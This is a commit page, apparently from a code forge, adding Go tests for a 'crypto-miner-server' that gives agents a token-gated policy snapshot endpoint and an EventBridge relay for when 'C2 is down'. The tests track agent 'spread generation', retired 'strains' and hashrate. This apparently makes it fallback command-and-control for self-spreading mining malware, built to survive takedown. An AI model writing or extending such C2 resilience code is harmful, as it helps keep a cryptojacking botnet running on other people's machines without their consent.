Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
126
server/internal/api/policy_snapshot_test.go
Normal file
126
server/internal/api/policy_snapshot_test.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
now := time.Now().UTC()
|
||||
if err := d.UpsertAgent(&models.Agent{
|
||||
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.UpsertAgent(&models.Agent{
|
||||
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
|
||||
Token: "tok123",
|
||||
PublicBaseURL: func() string { return "https://c2.example" },
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if snap.GenesisVersion != 7 {
|
||||
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
|
||||
}
|
||||
if len(snap.HospiceList) == 0 {
|
||||
t.Fatal("expected hospice list")
|
||||
}
|
||||
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
|
||||
t.Fatalf("poll url=%q", snap.PolicyPollURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
||||
h.BindPolicySnapshot(
|
||||
func() (PolicySnapshot, error) {
|
||||
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
|
||||
},
|
||||
func() string { return "secret-token" },
|
||||
)
|
||||
r := chi.NewRouter()
|
||||
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
|
||||
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("wrong token status=%d", rec.Code)
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body PolicySnapshot
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
|
||||
t.Fatalf("body=%+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFanoutBundleJSON(t *testing.T) {
|
||||
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
|
||||
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if doc["token"] != "abc" {
|
||||
t.Fatalf("token=%v", doc["token"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportPolicyFanoutZIP(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
|
||||
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
|
||||
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
sh.ExportPolicyFanout(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
||||
t.Fatalf("content-type=%q", ct)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user